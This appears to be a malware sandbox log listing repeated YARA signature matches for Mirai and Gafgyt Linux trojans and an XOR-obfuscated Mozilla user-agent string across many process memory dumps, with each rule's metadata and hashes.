Source: 7247.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6632.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6632.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6632.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7170.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6261.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7170.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7170.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6261.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6261.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6519.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6519.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6519.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6914.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6998.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6998.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6998.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7326.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6264.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7253.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6567.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7349.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7349.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7349.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6542.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7055.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7055.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7055.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6244.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6584.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6584.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6584.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6291.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6291.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6291.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7046.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7423.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6750.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6750.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6750.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7416.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6466.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7035.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7180.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7180.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7180.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7052.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7052.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7052.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7323.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 6787.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7145.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 6324.1.0000000001475000.0000000001476000.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7145.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7145.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
Source: 7127.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth (Nextron Systems), description = Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key., score = , reference = https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(), modified = 2022-05-13
Source: 7127.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 7127.1.0000000000400000.000000000041b000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_564b8eda reference_sample = ff04921d7bf9ca01ae33a9fc0743dce9ca250e42a33547c5665b1c9a0b5260ee, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 63a9e43902e7db0b7a20498b5a860e36201bacc407e9e336faca0b7cfbc37819, id = 564b8eda-6f0e-45b8-bef6-d61b0f090a36, last_modified = 2021-09-16
